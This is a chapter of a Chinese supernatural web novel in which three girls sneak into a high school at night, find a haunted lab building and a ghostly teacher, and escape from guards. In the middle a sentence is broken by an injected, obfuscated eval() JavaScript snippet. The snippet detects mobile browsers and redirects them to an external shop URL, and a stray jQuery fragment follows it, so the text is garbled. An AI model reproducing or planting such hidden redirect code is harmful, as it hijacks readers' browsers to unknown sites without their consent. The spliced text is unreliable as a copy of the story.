晚上八点整,苏沫三人整整齐齐蹲在辅仁高中西南角的矮墙下。
夜色深沉,原本应该亮着灯的教学楼漆黑一片,甚至连校园中的路灯都不见亮起,风吹过,浓厚的云层飘过遮住圆月,这下是真的伸手不见五指。
苏沫一身利落的黑色运动服,悄无声息地沿着矮墙翻了进去,动作轻盈落地时连地上的灰尘都没惊起多少,她目光警惕扫过四周,见四下空无一人,这才冲着墙头招了招手。
随着她抬手的瞬间,沈鸢就干脆利落地翻过墙来,甚至都不用她搭把手,等到两人都落地后,同时扭头望向墙外的林小雨,就见她躲在墙角的阴影处冲着她俩比了个ok的手势,手机紧紧攥在手中,屏幕亮度调到最低,耳朵里藏着蓝牙耳机,而墙内的两人也是如此,随时保持联络。
借着墙外路灯微弱的光芒,苏沫拦住往里闯的沈鸢,轻手轻脚从斜跨包里取出一只古朴的罗盘,黄铜质地,天池中里的指针微微颤动,随即直指西北角的那幢实验楼,苏沫辨了辨方向,这才领着沈鸢往罗盘指引的方向走去。
辅仁高中占地面积不小,从围墙到实验楼得穿过半个校区,苏沫手持罗盘走在前面,沈鸢紧跟其后,两人卡着监控死角穿过操场,脚步压得极轻。
走到操场边上,沈鸢抬手拉了她一下,苏沫停下脚步,回头看她。
沈鸢拉着人退到墙根,嗓音压低,“有件事,白天我没来得及说。”
“说。”
“前几日我到学校调查。”沈鸢声音低语速快,但吐字清晰,“躲在操场东南角那处矮树丛里,看见一个男生蹲在墙角,目光空洞,死死拽着自己的校服,嘴里一直在念叨。”
她顿了顿,回忆着模仿那男生的语气,声音更低几乎是气音,“有鬼,实验楼有鬼,王擎他们被鬼抓走了,红衣服的,还,还在滴血。”
苏沫眉头一动,就听见沈鸢继续开口。
“我本想靠近问问,结果他一见我就像受惊的兔子,窜起来就跑,我追了两步,见有人过来,怕暴露就没再追了。”沈鸢懊恼地抓了抓自己的头发,“后来我打听了,那个男生叫杨俊,而且确实跟我姐姐说的那样最近几周学校频繁有人失踪,但奇怪的是从来没有家长找上门来闹事,对了,就那几天杨俊也失踪了。”
听到这里,联系之前直播连线钱老师说的,苏沫哪里还不明白,“胆子真大,看来还是作业太少了,大半夜不睡觉跑去探险。”
沈鸢看她,“你觉得,他真看见了?”
苏沫没回答,只低头看着手中自从踏入教学区就开始指针乱晃的罗盘,还有缠在手腕那枚微微发烫的铜钱,低声道:“去看看就知道了。”
实验楼所处的位置,比苏沫想象的还要偏。
学校西北靠山,两人借着手机微弱的光线,就见一条碎石铺就的小路蜿蜒探入树林深处,而她们此行的目的地就在小路的尽头。
风吹过,云层散去,树叶沙沙作响,空中露出一轮血月,将整个学校笼罩其中,苏沫这才在红光中看见道路的尽头,那座五层高的实验楼正散发着幽暗的光芒,实验楼附近有颗粗壮的槐树,与周边其他的树长得截然不同,整棵树张牙舞爪,黑色的枝桠在血红色的月光中扭曲成无数诡谲的模样,鬼影憧憧。
见状跟在苏沫身后的沈鸢忍不住打了个哆嗦,下意识贴近苏沫的后背。
苏沫回头看了她一眼,飞快从包中摸出一张符纸塞到沈鸢手中,“这儿不对劲,一会跟紧我。”
说罢,两人轻手轻脚沿着小路朝实验楼走去,刚刚苏沫看过,这里没有监控,倒是给这两个夜探的人多了分便利,但就在她踏上小路的瞬间,林子里响起一声嘶哑的鸟鸣,窸窸窣窣的声音紧随其后。
沈鸢整个人都紧绷着,目光死死盯着声音来源,片刻之后,“吱吱”两声,草丛中钻出一只双眼通红的松鼠,两只前爪还捧着一块正在滴血的东西啃食。
“这,这是什么东西?”沈鸢脸色发白。
苏沫没有说话,眉头皱起,这地方有点邪门,她开始后悔带沈鸢进来了。只是现在后悔也没用,两人小心翼翼走到实验楼前,这才发现刚才远远看见的槐树很大,依附在实验楼背面。
不对劲,从踏入这片林子开始就不太对了。
她沿着实验楼绕了一圈,走到正面,两扇透明的玻璃门用铁链锁着,正中赫然贴着封条,想从正门进去显然是不行的,苏沫琢磨了一下,又低头在包里翻了翻,摸出一串大五帝钱套在沈鸢手腕上,“戴好,不能摘。”
见沈鸢点头,苏沫才领着人沿着墙摸到实验楼的背面,来时她看见左侧有扇窗户玻璃是破的,估摸着就是那几个学生砸的,她们正好能从那里进去,很快两人就站在那扇破窗前。
忽然头顶的槐树传来一声异动,随着一声尖锐的哀鸣,一只浑身漆黑的鸟从树上坠落,刚好掉在苏沫跟前,眼睛睁着,尖喙流出一丝血迹。
“死,死了?”沈鸢声音颤抖。
苏沫扫了一眼,心知这是背后黑手给自己的警告,嘴角勾起冰冷的弧度,看来这学校的水比她想的还深。
低声安抚了沈鸢一句,见她虽害怕但依旧神色清明,放下心来,手一撑整个人如狸猫般轻巧地翻入,沈鸢紧随其后。
楼里阴冷刺骨,空气中弥漫着淡淡的血腥味,混着腐臭,还有一股消毒水的味道,令人作呕。
苏沫掏出手机照明,光照亮的瞬间,两个人都呆住了,目之所及一片狼藉,文件夹,碎纸,断裂的试管散落一地,两侧墙壁上贴着实验室守则的玻璃柜门被打得粉碎,玻璃渣子溅得到处都是,纸上沾着发黑的血迹,凑近了看,血迹里似乎还粘连着一些细碎的,风干了的东西。
沈鸢没问那是什么,她不想知道。她的目光落在玻璃柜的左侧,那里有数道很深的抓痕,甚至能看到墙皮下的红砖,指印清晰,是人用指甲抓出来的,边缘还残留着血迹。她盯着那几道抓痕,一动不动。
这是她姐姐工作过的地方。
苏沫看了她一眼,没说话。她走到墙边,伸出手轻轻摸过墙上的抓痕,一股绝望中带着痛苦和怨恨的情绪撞入她脑海,这人死得很惨,她收回手。
“你姐……”她开口,又停住,似乎在想措辞。
但沈鸢没说话,只是盯着墙上的抓痕,眼眶泛红。
苏沫没再说下去,眼下除了叶臻,还有两个生死不明的学生,她猛然抬头看向楼梯口,那里浓稠的煞气正从二楼往下渗。
“你在这等着。”苏沫说,“符纸拿好,五帝钱不要摘,有事喊你。”
沈鸢终于动了,回过头,才看见苏沫已经把罗盘收进包
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406995|200566||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,大步流星踏上楼梯。
刚到二楼,她就感觉比一楼冷,是那种刺骨的寒冷,还带着一股熟悉的令人恶心的气味,苏沫皱了皱鼻头,从包里摸出一张符纸,指尖一弹,低声念道:“阳明之精,神威洞清。破暗除晦,光耀太虚。敕!”
符纸无火自燃,一团明亮的火光浮在身前,照亮了幽深的长廊,两侧实验室门窗紧闭,只有走廊深处那间开着,阴气正源源不断从里头涌出,但也只是阴气。
苏沫走到门口没进去,往里看了一眼,里面站着一个人影,长头发红色针织衫,领口绣着一片银杏叶,白色长裙十分整洁。
她站在试验台前,还在擦拭着台面,听得动静抬头看向苏沫,她虽然十分疑惑,但还是温和地开口,“同学你找谁?”
“找你。”苏沫定定地看着她,同时藏在身后的手指一动。
楼下传来东西倒地的声音,站在试验台前的人脸色骤变,大步朝楼梯口走去,苏沫跟在她身后,余光扫过来走廊两侧的实验室。
“姐姐,你还活着?”楼下传来沈鸢惊喜的声音。
她噔噔噔跑到二楼,拉着叶臻的手,左右看了看,“你的手怎么这么冷?是不是衣服穿少了?”
叶臻摇了摇头,“我没事,阿鸢你怎么会进来的?”
“沫沫带我进来的。”沈鸢还沉浸在见到姐姐的喜悦中,“沫沫,这就是我姐姐,她可厉害了,师范大学一毕业就到这所学校工作,学生们都很喜欢她……”
苏沫静静听着,也不打断。
忽然,沉寂了一晚上的蓝牙耳机传来林小雨急促的声音,“沫沫快走,有人来了,正朝你们那赶,还带着狗!”
苏沫脸色一变,一把拽住沈鸢,“走!”
“姐姐一起走。”沈鸢伸手去抓叶臻,却发现她退后了几步,冲自己摇了摇头,语速飞快,“阿鸢,姐姐还有事要做,暂时不能走,那两个失踪的学生在西河山仓库。”
随即整个人退到阴影处。
外面的动静越来越近,沈鸢没办法,只好咬牙跟上苏沫,翻窗而出前,她下意识回头,就看见叶臻整个人藏在阴影中,朝自己挥了挥手。
刚落地,远处就照来手电筒的光,还有人的说话声,以及由远及近的狗叫声。
苏沫拉着沈鸢钻入树林,脚下是碎石跟枯枝,踩在上面咯吱作响,但此刻也顾不上了,手电筒的光在身后扫来扫去,狗叫声也越来越近,苏沫目光一扫,低喝一声。
“这边。”
两人飞快拐到西南角的矮墙,干脆利落地翻墙,两人落地的瞬间,手电筒的光落在她们先前站立的位置。
林小雨从阴影从窜出,三人头也不回地钻进夜色里,一路狂奔,等到她们停下来的时候,身后的辅仁高中只剩一个模糊的轮廓。
苏沫靠在电线杆上喘了口气,沈鸢蹲在路边双手撑着膝盖一声不吭,只有林小雨瘫坐在地上喘得跟拉风箱一样,好半天才缓过神来,看了看这个,又看看那个,嘀咕一声自己最菜,摸出手机往后看了看。
“没人追上来。”
苏沫点头,随即掏出手机,拨了个电话,“师兄是我,联系公家人去西河山脚下的仓库,那里有人口拐卖。”
说完,对面那头也不知说了什么,苏沫脸色一变,就果断挂了电话。